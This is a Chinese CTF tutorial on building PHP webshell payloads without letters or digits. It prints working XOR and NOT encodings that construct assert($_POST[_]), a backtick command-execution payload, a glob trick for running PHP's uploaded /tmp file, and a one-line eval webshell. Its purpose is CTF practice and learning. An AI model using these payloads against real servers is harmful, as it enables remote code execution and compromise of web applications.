zoukankan      html  css  js  c++  java
  • 浅析CTF绕过字符数字构造shell

    本文首发于“合天网安实验室”  作者: zoey

    前言

    在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。

    无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。

    本文涉及知识点实操练习-使用base64与deflate对webshell编码

    测试源码

    <?php
    if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
      eval($_GET['shell']);
    }
    //如果shell中不还有字母和数字,则可以执行eval语句

    异或绕过

    异或的符号是^,是一种运算符。

    1 ^ 1 = 0
    1 ^ 0 = 1
    0 ^ 1 = 1
    0 ^ 0 = 0
    

    异或脚本

    <?php
    for($i=128;$i<255;$i++){
        echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."
    ";
    }
    ?>

    运行该脚本我们知道

    %81^%FF=>~     %82^%FF=>}       %83^%FF=>|
    %84^%FF=>{     %85^%FF=>z       %86^%FF=>y
    %87^%FF=>x     %88^%FF=>w       %89^%FF=>v
    %8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s
    %8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p
    %90^%FF=>o     %91^%FF=>n       %92^%FF=>m
    %93^%FF=>l     %94^%FF=>k       %95^%FF=>j
    %96^%FF=>i     %97^%FF=>h       %98^%FF=>g
    %99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d
    %9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a
    %9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^
    %A2^%FF=>]     %A3^%FF=>       %A4^%FF=>[
    %A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X
    %A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U
    %AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    
    %AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O
    %B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L
    %B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I
    %B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F
    %BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C
    %BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@
    %C0^%FF=>?

    通过这种方法构造一个phpinfo()函数

    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
    //${_GET}{%ff}();&%ff=phpinfo
    我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_ 
    %B8^%FF=>G
    %BA^%FF=>E  
    %AB^%FF=>T 
    
    <?php
    $a = urldecode('%ff%ff%ff%ff');
    $b = urldecode('%a0%b8%ba%ab');
    echo $a^$b;
    //输出_GET

    取反绕过

    取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。

    直接看如何构造phpinfo()

    (~%8F%97%8F%96%91%99%90)();

    可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。

    取反脚本

    <?php
    $a = urlencode(~'phpinfo');
    echo $a;
    //%8F%97%8F%96%91%99%90

    构造assert字符

    第一种方法

    %9E^%FF=>a
     %8C^%FF=>s
     %9A^%FF=>e
     %8D^%FF=>r
     %8B^%FF=>t
     
      %A0^%FF=>_    
     %AF^%FF=>P 
     %B0^%FF=>O
     %AC^%FF=>S
     %AB^%FF=>T 
        
    $_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";
    $__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";
    $___=$$__;
    $_($___[_]);

    第二种方法

    脚本

    <?php
    $shell = "assert";
    $result1 = "";
    $result2 = "";
    for($num=0;$num<=strlen($shell);$num++)
    {
        for($x=33;$x<126;$x++)
        {
            if(judge(chr($x)))
            {
                for($y=33;$y<=126;$y++)
                {
                    if(judge(chr($y)))
                    {
                        $f = chr($x)^chr($y);
                        if($f == $shell[$num])
                        {
                            $result1 .= chr($x);
                            $result2 .= chr($y);
                            break 2;
                        }
                    }
                }
            }
        }
    }
    echo $result1;
    echo "<br>";
    echo $result2;
    
    function judge($c)
    {
        if(!preg_match('/[a-z0-9]/is',$c))
        {
            return true;
        }
        return false;
    }

    这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。

    <?php
    $_ = "!((%)("^"@[[@[\";   //构造出assert
    $__ = "!+/(("^"~{`{|";   //构造出_POST
    $___ = $$__;   //$___ = $_POST
    $_($___[_]);   //assert($_POST[_]);
    
    ?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b
    $_ = "!((%)("^"@[[@[\";
    $__ = "!+/(("^"~{`{|";  
    $___ = $$__; 
    $_($___[_]);
    %24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3
     

    第三种方法

    <?php
    $a = urlencode(~'assert');
    echo $a;
    //%9E%8C%8C%9A%8D%8B
    
    $b = urlencode(~'_POST');
    //%A0%AF%B0%AC%AB
    
    <?php
    $_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert,此时$_="assert"
    $__ = ~"%a0%af%b0%ac%ab";   //得到_POST,此时$__="_POST"
    $___ = $$__;   //$___=$_POST
    $_($___[_]);   //assert($_POST[_])
    
    ?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

    PHP5和7的区别

    • PHP5中,assert()是一个函数,我们可以用=assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。

    PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();

    过滤了_

    ?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

    分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

    过滤了$

    PHP7

    在PHP7中,我们可以使用($a)()这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90)();执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert()来执行函数,因为php7不支持assert()函数。

    PHP5

    在PHP5中不再支持($a)()方法来调用函数,在膜拜P神的无字母数字webshell之提高篇后,有了新的启发。如何在无字母,数字,$的系统命令下getshell?我们利用在Linux shell下两个知识点

    1,shell下可以利用.来执行任意脚本

    2,Linux文件名支持glob通配符代替

    从图可以看出,我们可以成功用.+文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。

    在这两个条件下我们可以想到,如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。

    那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?

    首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

    现在我们可以利用glob通配符匹配该文件,我们知道

    *可以代替0个及以上任意文件

    ?可以代表1个任意字符

    [^a]可以用来判断这个位置的字符是不是a

    [0-9]可以用来限制范围

    通过ascii码表我们知道,可见大写字母@与[之间,所以我们可以利用[@-[]来表示大写字母。

    综上,我们可以利用. /???/????????[@-[]来匹配/tmp/phpXXXXXX

    实战演练

    <?php
    if(isset($_GET['evil'])){
        if(strlen($_GET['evil'])>25||preg_match("/[w$=()<>'"]/", $_GET['evil'])){
            die("danger!!");
        }
        @eval($_GET['evil']);
    }
    highlight_file(__FILE__);
    ?>

    通过编写脚本看看哪些可见字符没有被过滤

    <?php
    for ($ascii = 0; $ascii < 256; $ascii++) {
        if (!preg_match("/[w$=()<>'"]/", chr($ascii))) {
            echo (chr($ascii));
        }
    }
    ?>
    可以发现过滤了字母,数字,`$`,`_`,`()`等,但`和  .  还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用 `  来执行文件。
    

    首先,我们应该上传写一个表单上传

    <!DOCTYPE html>
    <html lang="en">
    <head>
     <meta charset="UTF-8">
     <title>Document</title>
    </head>
    <body>
     <form action="http://ip:*****/" method="post" enctype="multipart/form-data">   
      <input type="file" name="file">
      <input type="submit" value="提交">
     </form>
    </body>
    </html>

    提交一个1.txt的文件,这个文件会被保存在这个/tmp/phpXXXXXX临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。

    我们在把1.txt中写入ls,并把执行完1.txt文件返回的内容(即执行ls返回的内容)保存在var/www/html目录下的abc文件中

    var/www/html是Apache的默认路径,我们也可以直接写ls />abc

    接着在ip地址后添加/abc,可以看到成功返回执行1.txt后的内容。

    直接cat flag

    我们还可以上传一个小马文件get flag

    例如我们创建一个hello.php的文件,文件内容为

    echo "<?php eval($_POST['shell']);" 

    然后cat flag

  • 相关阅读:
    【spring源码分析】IOC容器初始化(五)
    【spring源码分析】IOC容器初始化(四)
    【spring源码分析】IOC容器初始化(三)
    【spring源码分析】IOC容器初始化(二)
    Thread.currentThread()和this的区别——《Java多线程编程核心技术》
    【spring源码分析】IOC容器初始化(一)
    【spring源码分析】准备工作
    DefaultNamespaceHandlerResolver中handlerMappings如何初始化
    SimpleDateFormat非线程安全
    MyBatis批量操作
  • 原文地址:https://www.cnblogs.com/hetianlab/p/14143480.html
Copyright © 2011-2022 走看看